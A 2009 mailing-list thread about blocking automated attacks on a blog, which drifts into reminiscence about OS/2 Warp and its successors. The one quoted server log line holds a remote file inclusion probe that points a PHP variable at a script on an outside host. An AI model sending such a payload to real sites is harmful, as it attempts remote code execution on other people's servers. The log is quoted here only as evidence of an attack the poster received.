Software, utility, or script to block automatically these cracker attacks

[mark]

Jose R R wrote:
> On Wed, Aug 5, 2009 at 12:45 PM, mark<m.roth2006 at rcn.com> wrote:
>> Jose R R wrote:
>>>> Although I go through my logs fairly often and update my scripts on an
>>>> regular basis, I still get cracker attacks like the ones sampled below:
>>>>
>>>> 222.122.6.62 - - [04/Aug/2009:08:09:52 -0700] "GET
>>>> /blog/index.php/2008/06/02/os-2-warp-server-for-e-business-wseb-and?blog=4///?_SERVER[DOCUMENT_ROOT]=http://bruntil.com/cgi/id.txt?%0D?
>>>>  HTTP/1.1" 400 567 "-" "Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686
>> <snip>
>> I did notice this oddity: the name "os-2-warp-server". Lessee, IBM's OS/2 was
>> *not* Warp, that was OS-3, so if they're still running Warp, that's an *OLD*
>> o/s, on ancient hardware....
>>
>>        mark "why, yes, I did do some work with OS 2"
>>
> IBM support for OS/2 Warp Server for e-Business (WSeB) was officially
> dropped on December 2006.  Continued pseudo improvements (Win32 hacks
> through Odin --a semi-port of Wine) have been done by an organization
> named Serenity Systems International.  In turn, this organization has
> renamed OS/2 as eCS.
<snip>
> At the moment I think that only Parallels and VirtualBox (with
> hardware assisted virtualiztion support <
> http://www.metztli-it.com/blog/index.php/2008/10/14/from-mainframes-to-distributed-computing?blog=4
>> ) continue to provide support for OS/2 and there are some reports
> that there is partial support in VMware.
> 
> Hope you find the retro info useful, Mark.

Thanks, Jose. I really only worked with in from '94-'95, when I was working for
a small, multi-platform software co., and haven't seen it in forever. But now I
can file this away next to my knowledge of a friend's use of FreeDOS. <g>

	mark